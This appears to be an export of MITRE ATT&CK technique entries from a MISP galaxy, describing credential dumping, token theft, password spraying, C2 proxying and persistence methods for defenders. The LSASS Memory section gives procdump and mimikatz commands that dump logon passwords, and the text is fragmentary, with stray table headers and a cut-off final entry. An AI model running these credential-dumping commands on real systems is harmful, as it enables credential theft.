## Token Impersonation/Theft - T1134.001

Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using

`DuplicateToken(Ex)`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"*

## DNS/Passive DNS - T1596.001

Before compromising a victim, adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Junk Data - T1001.001

Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

The tag is: *misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"*

## Traffic Duplication - T1020.001

Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](<https://attack.mitre.org/techniques/T1542/004>) or [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>). (Citation: US-CERT-TA18-106A) (Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](<https://attack.mitre.org/techniques/T1040>), [Input Capture](<https://attack.mitre.org/techniques/T1056>), or [Man-in-the-Middle](<https://attack.mitre.org/techniques/T1557>) depending on the goals and objectives of the adversary.

# LSASS Memory - T1003.001

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](<https://attack.mitre.org/tactics/TA0008>) using [Use Alternate Authentication Material](<https://attack.mitre.org/techniques/T1550>).

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- `procdump -ma lsass.exe lsass_dump`

Locally, mimikatz can be run using:

- `sekurlsa::Minidump lsassdump.dmp`
- `sekurlsa::logonPasswords`

Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` and `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

## Protocol Impersonation - T1001.003

Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003"*

*Table 3475. Table References*

Links

<https://attack.mitre.org/techniques/T1001/003>

## Internal Proxy - T1090.001

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](<https://attack.mitre.org/software/S0040>), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"*

*Table 3476. Table References*

## External Proxy - T1090.002

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](<https://attack.mitre.org/software/S0040>), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.

The tag is: *misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002"*

## LSA Secrets - T1003.004

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

[Reg](<https://attack.mitre.org/software/S0075>) can be used to extract from the Registry. [Mimikatz](<https://attack.mitre.org/software/S0002>) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

The tag is: *misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"*

<a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a>

## Proc Filesystem - T1003.007

Adversaries may gather credentials from information stored in the Proc filesystem or `/proc`. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.

This functionality has been implemented in the MimiPenguin (Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.

## File Deletion - T1070.004

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](<https://attack.mitre.org/software/S0106>) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-

party file deletion tools. (Citation: Trend Micro APT Attack Tools)

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"*

## Domain Fronting - T1090.004

Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004"*

## Password Guessing - T1110.001

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures

and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

## Password Cracking - T1110.002

Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](<https://attack.mitre.org/techniques/T1550/002>) is

not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002"*

## Password Spraying - T1110.003

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

## Credential Stuffing - T1110.004

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

## Web Protocols - T1071.001

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"*

## Bidirectional Communication - T1102.002

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it

easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

## Malicious Link - T1204.001

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](<https://attack.mitre.org/techniques/T1566/002>). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](<https://attack.mitre.org/techniques/T1203>). Links may also lead users to download files that require execution via [Malicious File](<https://attack.mitre.org/techniques/T1204/002>).

## Port Knocking - T1205.001

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

## Binary Padding - T1027.001

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"*

## Mail Protocols - T1071.003

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003"*

Links

## Environmental Keying - T1480.001

Adversaries may environmentally key payloads or other features of malware to evade defenses and constrain execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](<https://attack.mitre.org/techniques/T1480>) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other [Execution Guardrails](<https://attack.mitre.org/techniques/T1480>), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>). While use of [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

## Domain Properties - T1590.001

Before compromising a victim, adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](<https://attack.mitre.org/techniques/T1596/002>)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>), [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>), or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>)).

## Local Groups - T1069.001

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as `net localgroup` of the [Net](<https://attack.mitre.org/software/S0039>) utility, `dscl . -list /Groups` on macOS, and `groups` on Linux can list local groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"*

Table 3494. Table References

Links

<https://attack.mitre.org/techniques/T1069/001>

## Default Accounts - T1078.001

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](<https://attack.mitre.org/techniques/T1552/004>) or credential materials to legitimately connect to remote environments via [Remote Services](<https://attack.mitre.org/techniques/T1021>). (Citation: Metasploit SSH Module)

## Local Account - T1087.001

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as `net user` and `net localgroup` of the [Net](<https://attack.mitre.org/software/S0039>) utility and `id` and `groups` on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the `/etc/passwd` file.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"*

Table 3496. Table References

Links
<a href="https://attack.mitre.org/techniques/T1087/001">https://attack.mitre.org/techniques/T1087/001</a>

## Malicious File - T1204.002

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1566/001>). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of [Masquerading](<https://attack.mitre.org/techniques/T1036>) on the file to increase the likelihood that a user will open it.

While [Malicious File](<https://attack.mitre.org/techniques/T1204/002>) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](<https://attack.mitre.org/techniques/T1534>).

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"*

Table 3497. Table References

<a href="https://attack.mitre.org/techniques/T1204/002">https://attack.mitre.org/techniques/T1204/002</a>

## Software Packing - T1027.002

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software

protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002"*

<a href="https://en.wikipedia.org/wiki/Executable_compression">https://en.wikipedia.org/wiki/Executable_compression</a>

## Transport Agent - T1505.002

Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

## Scheduled Task - T1053.005

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The `schtasks` can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated [at](<https://attack.mitre.org/software/S0110>) utility could also be abused by adversaries (ex: [At (Windows)](<https://attack.mitre.org/techniques/T1053/002>)), though `at.exe` can not access tasks created with `schtasks` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"*

## Web Shell - T1505.003

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](<https://attack.mitre.org/software/S0020>) Web shell client).(Citation: Lee 2013)

## Systemd Timers - T1053.006

Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](<https://attack.mitre.org/techniques/T1053/003>) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)

Each `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are [Systemd Service](<https://attack.mitre.org/techniques/T1543/002>) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system/` while user level are written to `~/config/systemd/user/`.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006"*

## Startup Items - T1037.005

Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)

This is technically a deprecated technology (superseded by [Launch Daemon](<https://attack.mitre.org/techniques/T1543/004>)), and thus the appropriate folder, `/Library/StartupItems` isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

## Cloud Groups - T1069.003

Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The `Get-MsolRole` PowerShell cmdlet can be used to obtain roles and permissions groups

for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command `az ad user get-member-groups` will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

## Local Accounts - T1078.003

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single

system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003"*

Table 3509. Table References

## Network Topology - T1590.004

Before compromising a victim, adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004"*

## Unix Shell - T1059.004

